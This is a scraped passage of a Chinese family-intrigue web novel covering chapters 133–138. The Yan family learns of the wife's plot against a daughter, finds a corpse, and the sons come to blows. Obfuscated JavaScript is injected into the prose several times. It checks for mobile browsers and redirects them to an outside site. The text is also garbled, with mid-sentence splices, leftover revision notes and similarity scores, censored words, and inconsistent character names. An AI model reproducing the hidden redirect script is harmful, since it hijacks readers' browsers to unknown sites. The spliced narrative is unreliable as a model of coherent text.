“怎么回事?!”钱雅芝惊魂未定,厉声呵斥。 “夫人……是,是陆大小姐……”车夫的声音,带着明显的恐惧,断断续续地从车厢外传来。 钱雅芝的心,猛地一沉,仿佛坠入了冰窖。 她下意识地将晏玥玥紧紧搂在怀里,仿佛这样就能给她带来一丝安全感。 该来的,终究还是来了。 她缓缓地,一点点掀开车帘,动作僵硬得像个木偶。 只见晏清澜一袭素衣,亭亭玉立地站在马车前,脸上挂着一抹若有似无的笑意。 正午的阳光下,那笑容却显得格外冰冷。 “晏夫人这是……急着赶路?”晏清澜的声音,不紧不慢,带着几分戏谑,几分玩味。 钱雅芝深吸一口气,强迫自己冷静下来。 她努力扯出一个僵硬的笑容,声音却依旧干涩:“厉姑娘,有何事?” 晏清澜并不答话,只是缓缓地,一步步靠近马车。 她微微侧头,打量着躲在钱雅芝身后,只露出半张脸的晏玥玥。 “晏六姑娘这脸色……不大好啊。”她语气轻柔,眼神却锐利如刀。 晏玥玥被她看得浑身不自在,羞愤交加,却又不敢发作,只能将头埋得更低。 晏清澜轻轻一笑,从袖中缓缓取出一只小巧精致的白玉盒子。 “这是……”她将盒子在指尖转了转,漫不经心地开口,“家母珍藏的‘珠华膏’,据说对消肿止痛有奇效。” 她将盒子递到钱雅芝面前,笑容甜美,声音却带着一丝不易察觉的冷意: “昨日之事,六姑娘受惊了。这药,便当是赔礼了。” 钱雅芝盯着那只白玉盒子,只觉得喉咙发紧,呼吸困难。 她僵硬地伸出手,却迟迟不敢去接。 晏清澜也不催促,只是静静地看着她,眼神玩味。 良久,钱雅芝才缓缓开口,声音干涩得几乎听不清:“多谢……厉姑娘。” 她颤抖着双手,接过那只小巧的白玉盒子,指尖冰凉。 晏清澜微微一笑,转身离去,留下钱雅芝紧紧攥着手中的药盒,指节泛白,身体微微颤抖,冷汗涔涔而下。 这一刻,钱雅芝清楚地知道,自己……彻底败了。钱雅芝前脚刚进苏府,还没来得及换身衣裳,就被怒气冲冲的晏明远堵了个正着。 晏明远脸色铁青,一双眼睛死死盯着钱雅芝,像是要把她生吞活剥了似的。 “跟我来书房。” 他冷冰冰地扔下一句话,转身就走,那背影像块冻硬的石头,硬邦邦的,没有一丝温度。 钱雅芝的心“咯噔”一下沉到了底,一股寒意顺着脊梁骨往上爬,激得她打了个冷战。她下意识地裹紧了身上的衣裳,却还是觉得冷,冷到了骨子里。 日头明明还烈着,钱雅芝却觉得眼前一阵阵发黑,脚步虚浮,像是踩在云彩上,轻飘飘的,随时都会跌下来。 她深一脚浅一脚地往书房挪,每走一步,都像是踩在刀尖上,疼得她龇牙咧嘴。 好不容易挪到了书房门口,钱雅芝深吸一口气,刚想开口说些什么, “啪”的一声脆响,晏明远一个耳光狠狠地甩在了她的脸上。 钱雅芝被打懵了,脑子里“嗡嗡”直响,眼前金星乱冒,身子也跟着晃了晃,险些一头栽倒。 她不由自主地抓住了旁边的书架,这才勉强站稳,没让自己摔个四仰八叉。 左边脸颊火辣辣地疼,像是被谁狠狠地抽了一鞭子,又像是被火燎了一下,火烧火燎的。 可钱雅芝却顾不上疼,她心里更多的是害怕,是心虚,像是做了什么见不得人的事,被人当场抓包。 晏明远可不管她怎么想,他怒气冲冲地把一本册子砸在钱雅芝脸上,那力道,恨不得把她的脸砸个稀巴烂。 “你自己好好看看,你都干了些什么好事!” 晏明远的声音像是从牙缝里挤出来的,每一个字都带着冰碴子,恨不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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更何况,燕王之所以看重庄家,还不是因为她娘家有钱? 第一百三十四章 那些金山银山,可比那些个**有用多了! “啪”的一声巨响,晏明远猛地一拍桌子,上好的紫檀木桌子,硬生生被他拍出了一道裂缝。 桌上的茶壶茶碗,全都跳了起来,摔在地上,碎成了一片。 晏明远气得浑身发抖,他指着钱雅芝,手指头都在颤抖: “你以为我叫你来,是为了这些鸡毛蒜皮的小事?” “你以为,我真的什么都不知道吗?” 钱雅芝心里那股不好的预感越来越强烈,像是有一只无形的手,掐住了她的喉咙,让她透不过气来。 可她还是强撑着,梗着脖子嘴硬: “老爷,您这话是什么意思?难不成您还真信了那些鬼话,要为了几个**来责罚我?” 钱雅芝挺直了腰板,眼睛里像是燃着两团火,那是愤怒,是不甘,也是绝望。 “晏明远,你别忘了,你以前干的那些事儿!宠妾灭妻,你以为我不知道?如今倒好,为了几个外人,竟要来与我算账?” “我告诉你,晏清萦她娘早就**!**的人,还争什么争!” 晏明远简直要被这个无理取闹的女人气疯了。 他太阳穴突突直跳,脑仁儿一阵阵地疼。 他深吸一口气,强压下心头的怒火: “钱雅芝,你还要跟我纠缠这些陈年旧事到什么时候?” “当初的事,是我不对,我不该冷落你,不该只顾着外面的女人。” “可是后来,玥玥出生后,我不是已经改了吗?我把所有的心思都放在了你和玥玥身上,我加倍补偿你,这还不够吗?” 晏明远越说越激动,声音也越来越大,到最后,几乎是在吼: “你到底要我怎么样?你说啊!你到底要我怎么样才满意!” “你非要闹得家宅不宁,你才高兴吗?” 好一个“你还想怎么样”! 钱雅芝只觉得可笑,她笑得眼泪都流出来了,笑得前仰后合,笑得不能自已。 “是啊,你是补偿我了,可你补偿了多久?” “玥玥才刚满月,你又想着三妻四妾了,又开始跟那些狐狸精鬼混!” “你把我当什么?你把玥玥当什么?你把这个家当什么!” 钱雅芝的声音尖锐刺耳,像是要把房顶都掀翻。 当初,晏玥玥的出生,曾让钱雅芝一度以为,晏明远终于回心转意了。 她把所有的希望都寄托在晏玥玥身上,把她当成自己的心头肉,掌中宝。 可结果呢? 晏明远的新鲜劲儿一过,又开始花天酒地,夜夜笙歌。 这口气,钱雅芝憋在心里太久太久了,像是生了根,发了芽,长成了一棵参天大树,压得她喘不过气来。 如今,她终于爆发了,像火山一样,喷涌而出,一发不可收拾。 晏明远只觉得眼前的这个女人,已经彻底疯了,不可理喻。 他头疼欲裂,再也不想跟她多说一个字。 “够了!我跟你说不清楚!” 晏明远猛地一挥手,像是要把所有的烦恼都挥走。 “我叫你来,不是为了跟你吵架的!” 他指着书房后院的方向,厉声喝道: “自己去院子后面瞧瞧!瞧瞧你惹出的烂摊子!” 钱雅芝被晏明远这突如其来的一嗓子吓了一跳, 她身子一晃,险些跌倒。 她稳住身形,只觉得浑身发冷,手脚冰凉,像是掉进了冰窖里。 她一步步,缓缓地朝后院走去,每走一步,都像是踩在刀尖上,疼得她心尖发颤。 刚走到后院门口,一股浓烈的臭味扑面而来,像是腐烂的尸体散发出来的味道,令人作呕。 钱雅芝下意识地捂住口鼻, 她定了定神,继续往里走。 走了几步,她突然停下了脚步, 因为她看到,后院的空地上,摆着一具尸体, 尸体上,蒙着一层素纱,白布被风吹得轻轻飘动,像是招魂的幡。 “啊——” 钱雅芝吓得魂飞魄散,尖叫一声,脸色惨白,毫无血色,身体也控制不住地颤抖起来,连连后退,像是见了鬼一样。 晏明远站在她身后,冷冷地看着她,眼神冰冷,没有一丝温度。 他抬了抬下巴,示意站在一旁的心腹,把尸体上的白布掀开。 白布被缓缓掀开,一张布满刀疤的脸,出现在钱雅芝的眼前, 那张脸,扭曲变形,死不瞑目,像是一只恶鬼,要来向她索命。 钱雅芝瞬间瞪大了眼睛,瞳孔骤然紧缩,倒吸了一口冷气, 她认得这张脸,这张脸的主人曾经是她的眼中钉,肉中刺, 是她费尽心机想要除掉的人, 可如今,这个人却变成了一具冰冷的尸体, 出现在了她的面前。 钱雅芝只觉得浑身的力气都被抽走了,整个人像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019336|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被掏空了一样, 她双腿一软,“扑通”一声跪倒在地, 脸色惨白如纸,眼神空洞无神, 像是丢了魂儿的木偶。 晏明远使了个眼色,让心腹退下, 偌大的院子里,只剩下他们两个人, 还有那具散发着恶臭的尸体。 空气中弥漫着令人窒息的味道, 晏明远也不知道这具尸体是什么时候出现的, 他只知道,这具尸体的出现, 意味着一场巨大的危机, 一场足以让整个庄家万劫不复的危机。 他缓缓走到钱雅芝面前,居高临下地看着她,眼神冰冷,声音低沉: “这到底是怎么回事?” 他的声音不大,却带着一股不容置疑的威严, 像是高高在上的帝王,在审问他的臣民。 钱雅芝抬起头,看着晏明远,眼神里充满了恐惧和绝望, 她张了张嘴,想说些什么, 却发现自己什么也说不出来, 喉咙像是被什么东西堵住了,发不出一点声音。 晏明远看着钱雅芝这副模样,心中的怒火再也压抑不住, 他猛地伸出手,一把掐住钱雅芝的脖子, 力道之大,像是要把她的脖子掐断。 他想不通,不明白,为什么枕边人会是如此的狠毒? 如果不是这本册子和这具尸体,他是不是永远都不会知道真相? 那些被钱雅芝害死的人,他们做错了什么? 他们也是一条条鲜活的生命啊! 晏明远越想越愤怒,越想越后怕, 他手上的力道越来越大,钱雅芝的脸色也越来越难看, 由红转紫,由紫转青,呼吸也越来越困难, 像是随时都会断气。 晏明远双眼通红,布满血丝,像是要**的野兽。 他恨不得立刻掐死这个恶毒的女人,为那些无辜的生命报仇! 可是,他不能,他不能这么做, 钱雅芝还不能死, 他还需要钱雅芝,需要赵家, 他不能让庄家毁在自己手里, 他不能让自己的仕途,就此断送! 晏明远的手,缓缓松开, 钱雅芝像是失去了支撑,瘫软在地, 大口大口地喘着粗气,像是溺水的人, 终于呼吸到了新鲜空气。 第一百三十五章 晏明远看着瘫倒在地的钱雅芝,眼神复杂, 有愤怒,有厌恶,有失望,也有无奈。 他颓然地坐在椅子上, 只觉得一阵阵无力,一阵阵后怕, 他的手心里,全是冷汗,黏腻腻的,很不舒服, 像是什么不好的预兆。书房内,死寂一片。 只有那具腐尸散发出的阵阵恶臭,在空气中无声蔓延。 晏明远死死盯着眼前的尸体,脑中一片混乱。 一个人,要有多大本事,居然能悄无声息地混进苏府? 竟躲过了层层守卫,将一具冰冷的尸首丢在他的书房! 要知道,他昨晚提前归家,歇得也早。晏明远记得很清楚,他特意嘱咐过下人,夜里不必来伺候。 也就是说,这人是当着他的面,把尸体弄进来的! 可笑的是,他竟然毫无察觉。 晏明远下意识地捏紧了拳头,指节因为用力而微微泛白。他一向自诩警醒,睡眠极浅,房里稍有动静,立时就能惊醒。 然而昨夜…… 他却面不改色! 直到今早,才发现这具横陈在书房里的尸体! 后怕、愤怒、疑惑……种种情绪在晏明远心中翻滚。 这背后之人的手段,该有多么可怕?简直令人不寒而栗。 “老爷……” 钱雅芝颤抖的声音,打断了晏明远的思绪。 他猛地转头,目光如刀,死死剐在钱雅芝身上。 一想到这个蠢妇竟然得罪了这等人物,晏明远就恨不得亲手掐死她! 他一把揪住钱雅芝的衣领,将她从地上提了起来。 “你……咳咳……”钱雅芝被掐得喘不过气,脸色涨成了猪肝色。 晏明远咬牙切齿,每一个字都像是从牙缝里挤出来的: “究竟惹上了哪路神仙!” 他顿了顿,猛地拔高了音量,像是质问,又像是怒吼: “昨天你突然带孩子们去善南寺,说是给娘祈福?” 晏明远冷笑一声, “我看你是黄鼠狼给鸡拜年,没安好心!” 他手上青筋暴起,死死盯着钱雅芝, “我给你最后一次机会,自己说清楚!” 其实,他昨天就起了疑心。 钱雅芝这女人,什么时候对娘那么孝顺了? 还巴巴地跑去善南寺祈福? 他当时就猜到,这其中必定有猫腻。 只是,后宅的那些弯弯绕绕,他向来不爱管。 只要不出人命,他都由着钱雅芝折腾。 可这次,这女人捅的篓子,未免也太大了! 钱雅芝被晏明远眼中的狠厉吓得一哆嗦,原本想好的说辞,也卡在了喉咙里。 她当然不敢说,自己是想借着祈福的名义,去算计宋溪溪。 若是让晏明远知道,她把陆家给得罪了,恐怕立刻就会休了她! 可是,事到如今,她再怎么抵赖,也无济于事了。 钱雅芝面如死灰,她知道,自己这次是在劫难逃了。 她用尽全身力气,推开晏明远,跌跌撞撞地退后几步。 “是……是陆家……”她喘着粗气,断断续续地说,“他们想替那个小**出气……” 晏明远一听“陆家”两个字,太阳穴突突直跳。 “小**?哪个小**?”他厉声问道,心里已经隐隐猜到了答案。 钱雅芝却像是破罐子破摔,索性一股脑全说了出来: “还能有哪个?就是你那个好女儿,晏清澜!” 她眼中闪过一丝怨毒, “她不知廉耻,勾搭上了陆家,让他们当枪使……” 晏明远越听越心惊,他万万没想到,事情竟然会牵扯到晏清澜身上。 他原本还指望着,能把晏清澜接回府,缓和一下父女关系。 毕竟,晏清澜现在是八皇子身边的红人,又和陆家交好, 将来若是能为庄家所用,必定是一大助力。 可如今看来,这个女儿,怕是已经和庄家离心离德了。 晏明远只觉得一阵头痛, “你……你到底做了什么?” “我……”钱雅芝心虚地低下头,不敢看晏明远的眼睛。 她当然不会说实话。 她可不想让晏明远知道,自己差点就毁了宋溪溪的一生。 “我不过是……是想给她个教训……”钱雅芝的声音越来越小,“谁让她不知好歹,处处和我作对……” “教训?”晏明远怒极反笑,“你所谓的教训,就是找人去坏她的名节?” 他指着地上的尸体,声音都在颤抖, “这就是你给她的教训?!” 钱雅芝被晏明远的气势吓得瑟瑟发抖,她连忙辩解道: “我……我只是想吓唬吓唬她,没想过要她的命……” 她偷偷瞄了一眼那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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”你给我闭嘴!“晏明远怒吼一声,打断了钱雅芝的咆哮。 他死死地盯着钱雅芝,眼中充满了厌恶和绝望。 第一百三十六章 ”你这个疯女人!你给我滚!滚出去!“ 钱雅芝却像是没有听到一般,她仍然自顾自地说着: ”晏明远,你醒醒吧!别再做那些不切实际的梦了!“ ”晏清澜不会帮你的,她只会毁了你,毁了整个庄家!“ ”我们和她,只能活一个!“ 钱雅芝的声音,在空旷的书房里回荡, 像是一道魔咒,让晏明远的心,一点一点地沉了下去。钱雅芝声嘶力竭,每一个字都像是从胸腔里挤出来的,试图唤起晏明远心中对家族的责任感,以此拉拢他站在自己这边。 晏明远只是冷漠地扫了她一眼,那眼神,像淬了冰碴子,又像是在看一个陌生人。 “你好自为之。” 他拂袖而去,宽大的衣袖带起一阵风,决绝的背影不带一丝留恋,只留下钱雅芝一人在原地,身影单薄。 从后院出来,晏明远面色阴沉得可怕,像是暴风雨前的宁静,下颌紧绷,紧抿的唇角显示出他内心的不平静。 他唤来心腹,压低声音,每一个字都像是从牙缝里挤出来的, “把那具尸体处理干净,别留下任何痕迹,手脚麻利点。” “是,老爷。” 心腹低头应声,大气不敢出,他跟了晏明远多年,从未见过他这般模样。 晏明远停顿片刻,手指无意识地敲打着桌面,发出沉闷的声响,像是敲在人心上,让人心惊胆战, “去请四位公子到书房,我有事要交代,让他们快些。” 晏景文几兄弟来到书房,还未踏入,便感到一股低气压扑面而来,像是被无形的网罩住,呼吸都变得困难。 下人们早已被屏退,气氛凝重得令人窒息,仿佛空气都凝固了。 晏景文鲜少见到父亲这般神情,眉峰紧锁,心中隐隐不安,他下意识地放轻了脚步。 他深知父亲的脾性,没开口前,绝不多言,只是默默地站在一旁,观察着父亲的神色。 晏明远揉了揉发胀的太阳穴,抬手示意几个儿子坐下,却迟迟没有开口,似乎在斟酌着什么。 书房里静得落针可闻,唯有窗外风吹竹叶的沙沙声,更添了几分压抑和诡谲。 “今日叫你们来……” 他缓缓开口,语气中带着一丝疲惫和无奈,目光扫过几个儿子,最终停留在长子晏景文身上,眼神复杂难辨。 晏景文心头一沉,不祥的预感愈发强烈,他不由自主地握紧了拳头,指节微微泛白。 老二晏远舟,低垂着眼眸,目光扫过自己袖口精致的青竹刺绣,嘴角微微勾起一个细小的弧度,又迅速恢复如常,让人捉摸不透他此刻的心思。 老三晏雨珩,神色平静,只是安静地坐着,静待下文,双手规规矩矩地放在膝上,像是事不关己。 唯有老四晏子晏,按捺不住性子,他一向心直口快,藏不住事,更受不了这沉闷的气氛。 “爹,究竟出什么事了?您倒是说啊!” 他急切地问,声音在寂静的书房里显得格外突兀,打破了这令人窒息的沉默。 晏明远摇了摇头,脸色阴沉得像结了层霜,嘴唇紧抿成一条线,眉头紧锁,似乎有难言之隐。 钱雅芝那些诛心之言,如同一根根尖刺,扎在他心头,虽未被他全盘接受,却也如鲠在喉,让他难以释怀,甚至有些烦躁。 他沉吟片刻,目光闪烁,最终还是选择对儿子们说出部分实情: “往后,你们尽量……避开晏清澜。” 他特意将“晏清澜”三个字咬得很重。 “避开?爹,这话怎么说?”晏子晏瞪大了眼睛,一脸的难以置信,仿佛听到了什么不可思议的事情。 晏明远像是没看见他的反应,自顾自地继续说道: “她如今不同往日,咱们苏府,怕是高攀不起了。” 他顿了顿,语气中带着几分自嘲和无奈, “她要如何,你们别管,也别问,更不要去招惹她。” 晏明远眼神复杂,说到“高攀不起”时,语气中带着一丝难以言喻的意味。 “一家人,同气连枝是最好,但若是不能……也别成了仇人。” 他叹了口气,像是自言自语,又像是对几个儿子说,声音低沉而沙哑: “她那性子,你们也清楚,跟我们终究不是一条心。与其日后闹得不可开交,倒不如现在就保持距离,互不干涉。” 他并非全然相信钱雅芝的挑拨,但陆家送来的那具尸体,却如同一记重锤,狠狠地敲醒了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以父亲才会如此失望,想要与晏清澜划清界限。 第一百三十七章 晏子晏向来是个直肠子,听不进去劝,他认定的事情,九头牛都拉不回来。 他早已打定主意要弥补晏清澜,又怎会听晏明远的劝告? 他撇了撇嘴,根本没把晏明远的话放在心上,只当是耳旁风。 晏明远看着几个儿子的反应,心中五味杂陈,他岂能将钱雅芝做的那些丑事公之于众? 说出来,他都替钱雅芝感到丢脸。 他含糊其辞,试图将此事揭过。 晏雨珩以为自己猜中了,心中既痛惜又失望。 他觉得晏清澜实在太不懂事,兄长和幼弟疼爱幺妹是人之常情,难道非要闹得家宅不宁才肯罢休? 晏景文却不愿父亲就此敷衍过去,他执意要问个清楚。 “爹,您把话说清楚,到底怎么回事?”他追问道,语气坚定。 晏明远看着长子这般模样,就知道今日若不给他一个明确的答复,他是不会善罢甘休的。 他叹了口气,知道瞒不过去,只得将几个儿子打发走。 “你们几个,都先回去吧。” 他揉了揉眉心,声音低沉而疲惫。 他单独留下晏景文,示意他关上书房的门。 待几个弟弟都离开后,晏景文这才折返回父亲的书房, “父亲。”他站在晏明远面前,轻声唤道,脸上带着几分疑惑和担忧。 晏明远看着他,深吸一口气,缓缓开口,将事情的来龙去脉,和盘托出。 他没有添油加醋,也没有刻意隐瞒,只是将事实陈述出来,语气平静,但眼神中却带着一丝疲惫和无奈。晏景文听完,身形猛地一晃,险些跌倒。 “爹……”他死死盯着晏明远,嘴唇颤抖着,像是听到了什么天方夜谭, 半晌才找回自己的声音,每一个字都像是从牙缝中挤出来的: “您……说的,是真的?” 他一手撑在红木桌上,指尖因为用力而泛白,关节突兀,手背因为过度用力和压抑,青筋暴起。 另一只手不自觉地攥紧了衣摆,指节扭曲。 他无法相信。 更无法接受。 钱雅芝苛待晏清澜,他不是不知道。 可他总觉得,那是晏清澜该受的。 谁让她出生时,让钱雅芝九死一生? 那是她欠钱雅芝的! 可他怎么都想不到,钱雅芝竟然会做出这种事! 仅仅因为……晏清澜和晏玥玥拌了几句嘴? **(文段3-改动:合并相似内容,更改对话描写)** 他猛地抬起头,眼中一片赤红: “就算阿清有错,可玥玥呢?” “她们姐妹,本该是相互扶持,一荣俱荣,一损俱损!” 他越说越激动,声音也越来越大,到最后,几乎是在吼叫。 “娘她怎么能……怎么能这么糊涂!” 晏明远看着他,目光沉沉,没有说话。 他了解自己的儿子。 知道他一时之间,转不过这个弯来。 过了许久,晏明远才缓缓开口,声音里透着疲惫: **(文段1-改动:合并相似内容,调整人物反应,优化语言风格)** “明礼,爹知道你心里不好受。可是,这就是事实。” 他叹了口气, “你娘她……心思太重了。” “她跟阿清,这回是彻底结了仇,往后还不知道会闹出什么来。” 晏景文还是难以接受。 他记忆中的母亲,虽然严厉,但一直教导他要正直、善良、明辨是非。 怎么会……变成现在这个样子? 如果晏清澜在,肯定会冷笑一声: “我的好哥哥,你怕是忘了,人心隔肚皮。” **(区块重组:将“回忆”部分拆分至不同段落,以打断晏景文的思绪)** “爹,您说这事还没完,是什么意思?”晏景**压下心头的烦乱,哑声问道。 “是陆家还会找麻烦,还是……阿清她不肯罢休?” **(文段5-改动:大幅修改对话描写,细化晏明远动作)** 晏明远没有立刻回答,而是缓缓走到窗边,推开了雕花木窗。 初春的冷风裹挟着细碎的寒意涌了进来,吹得他鬓边的几缕银丝微微颤动。 他望着窗外,目光幽深,像是在回忆着什么,又像是在思考着什么。 良久,他才转过身来,看着晏景文。 “都有吧。”他的声音很轻,像是怕惊扰了什么。 “明礼,你记住爹的话,以后,离你四妹妹远点。” 他停顿了一下,似乎在斟酌着措辞。 “还有玥玥,你也多看着点。” “她那性子……唉,算了,你跟她说,别再去招惹阿清了。” 他知道晏玥玥的心气高,也知道她和晏清澜之间的那些龃龉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019339|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可这回的事,确实是晏玥玥理亏。 晏明远没打算亲自去教训晏玥玥。 这些事,交给晏景文去做就行了。 至于理由,他不想多说。 **(文段2,4-改动:大幅修改对话描写,删除部分次要情节,调整人物心理)** 晏景文先是下意识地点头,随后又摇头。 他眉头紧锁,脸上阴云密布。 “爹,我会劝玥玥的。可是,我不认同您的说法。” 他深吸一口气,胸口剧烈地起伏着。 “娘她做得确实过分了,可这事,归根结底,还是晏清澜的错!” 他越说越激动,声音也越来越大: “要不是她挑唆宋溪溪,娘怎么会这么做?” 他的脑海中,又浮现出二妹妹夭折的画面。 那个刚出生就没了气息的小婴儿,还有那个哭得死去活来的姨娘…… 晏景文一个激灵,猛地摇了摇头,强迫自己不去想这些。 “她晏清澜,又没少块肉!” 他咬牙切齿地说着,语气里是对晏清澜的厌恶和不满。 “爹您肯定也已经训斥过娘了,她还想怎么样?非得闹得家宅不宁吗?” 他烦躁地揉了揉眉心。 脑海中又闪过三妹妹落水,五弟、六弟病逝的画面…… 这一个个的巧合,让他心底发寒。 “这些……真的只是意外?” 他喃喃自语,声音低得几不可闻。 他不敢再往下想了。 他宁愿相信这都是巧合,也不愿相信,这些都跟钱雅芝有关。 可他心里又隐隐觉得,事情,恐怕没那么简单。 他了解晏清澜。 那个女人,睚眦必报,绝不会善罢甘休。 这事儿,恐怕,真的没完……晏明远没料到晏景文会把话都说尽。 原本还想再敲打几句,此刻却如鲠在喉,不吐不快。 他绷着脸,沉声道: “阿清这事……确有不妥。苏府,终究是她的根。” 话虽如此,可人心中的天平,又有谁能真正端平? 晏景文的心,早已偏向晏玥玥和钱雅芝。 还指望他对晏清澜存有几分兄妹之情? 不过是痴心妄想! 钱雅芝犯下此等过错,晏景文心中并非毫无波澜,甚至一度觉得自己所坚信的,有了裂痕。 第一百三十八章 但那又如何? (文段6-相似度:0.38) 失望过后,他依旧会下意识地为钱雅芝辩解。这世上,又有几人能真正做到大义灭亲?多的是骨肉至亲犯了错,还想着帮忙遮掩。 晏景文想到晏清澜,心中莫名烦躁。尤其是一想到她竟默许陆家如此行事,更是厌恶至极。 “父亲教诲,儿子铭记于心,日后定当远离此女。” 话锋一转,他又道: “我晏景文,绝无此等忤逆之妹!” 此言一出,算是与晏清澜彻底**。 (文段7-相似度:0.37) 在他看来,钱雅芝纵有千般不是,也是晏清澜的生母。晏清澜怎能任由陆家为她出头,搅得家宅不宁?这若是在先帝年间,晏清澜怕是难逃责罚。晏景文想到此处,眸光一沉,整了整衣衫,愈发显得道貌岸然。 “若非苦无真凭实据,证明此事与四妹妹有关,单凭她这番作为,父亲将她送官严惩,亦不为过!” 他这话说得斩钉截铁。 晏明远默然不语,只轻点了下头。那意思,仿佛没将晏清澜送官,已是格外开恩。 “晏景文!你这畜生!说的什么混账话!” “砰——” 一声巨响,书房的门被人猛地踹开。 晏明远和晏景文惊得齐齐回头。 只见晏子晏满面怒容,双目猩红,如同一头被激怒的公牛,直冲进来,挥拳便朝晏景文脸上砸去。 晏景文毫无防备,被这一拳打了个正着。 他平日里自视清高,哪里是习武的晏子晏的对手? 一个趔趄,便栽倒在地。 晏子晏犹不解恨,扑上去又是一阵拳打脚踢。 晏景文被打得抱头鼠窜,连连求饶。 晏明远一向自诩家风严谨,父慈子孝。 这下可好,小儿子竟当着他的面,将大儿子打得鼻青脸肿。 晏明远气得差点一口气没上来。 他指着那些闻声赶来,却又畏畏缩缩不敢上前的小厮,怒声喝骂: “愣着干什么?还不快把两位公子拉开!” 几个小厮这才反应过来,七手八脚地将晏子晏拉开。 可晏子晏怒火难消,依旧死死瞪着晏景文,恨不得将他生吞活剥。 晏景文被几个小厮搀扶起来,只觉得浑身骨头都快散架。 (文段9-相似度:0.35) 晏子晏仍旧不依不饶,指着晏景文破口大骂: “晏景文!你个道貌岸然的**子!简直猪狗不如!” “你怕不是被阎王爷勾错了魂,才让你这等货色披了张人皮出来现世!” “莫非你上辈子是粪坑里爬出来的蛆,不然怎的满嘴喷粪!” 晏景文被骂得额角青筋暴起,指着晏子晏“你”了半天,却说不出一个完整的字。 他装作一副文化人的样子,哪里骂得过晏子晏? 这下,当真是被骂得体无完肤。 晏明远越听脸色越是阴沉。 他厉声呵斥那些拉着晏子晏的小厮: “还愣着作甚?堵了他的嘴!” (文段4-相似度:0.45) “把这个逆子给我拖下去,重责二十大板,让他清醒清醒!” 谁知晏子晏竟猛一发力,挣脱了小厮们的钳制。 他飞起一脚,踹开一个试图上前来抓他的小厮,夺门而出。 几个纵跃,便上了房顶。 晏子晏立于屋脊之上,声音冷冽如寒冬腊月: “用不着你来管教!我自知何为对错!倒是你们,一个个良心都被狗吃了!” “这样的虎狼窝,我是一刻也不想多留!免得夜里做了噩梦!” 说完,他深深地看了晏明远和晏景文一眼,目光中满是失望与愤恨。 然而,阳光太过刺眼,他们终究未能看清那目光中的深意。 晏子晏决然转身,离去。 (文段8-相似度:0.35) 这个家,令他作呕。 这些所谓的家人,令他齿冷。 他第一次如此清晰地认识到,自己与这个家,早已格格不入。 (文段5-相似度:0.44) 其实,早在晏明远将他们兄弟几人叫到书房,语重心长地劝诫他们莫要招惹晏清澜时,晏子晏便已察觉到异样。 但晏明远不说,他也无从问起。 只是临出门时,晏明远与晏景文交换了一个眼神,让他心生警觉。 晏子晏留了个心眼,并未直接回房,而是寻了个隐蔽之处躲藏。 他亲眼见到晏景文进了书房。 为了避免被人发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019340|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,他甚至没敢靠近,而是等晏明远的心腹守在书房外后,大着胆子,借着苏府下人平日里修剪花枝时长长短短的枝桠,攀上了书房屋顶。 他小心翼翼地揭开一片瓦,将耳朵贴了上去。 (文段3-相似度:0.47) 他做梦都想不到,这两人密谋的,竟是关于他母亲意图算计四妹妹的腌臜事! 那一刻,晏子晏既庆幸晏清澜称病未去善南寺,又庆幸陆家及时察觉了他母亲的歹毒计划。 否则,结局简直太可怕了。 晏子晏心知肚明,即便钱雅芝的计划得逞,以晏清澜的手段,也未必会吃亏。 (文段1-相似度:0.57) 但他气愤的是,晏清澜明明是受害者,晏明远和晏景文却颠倒黑白,反倒指责起晏清澜的不是! 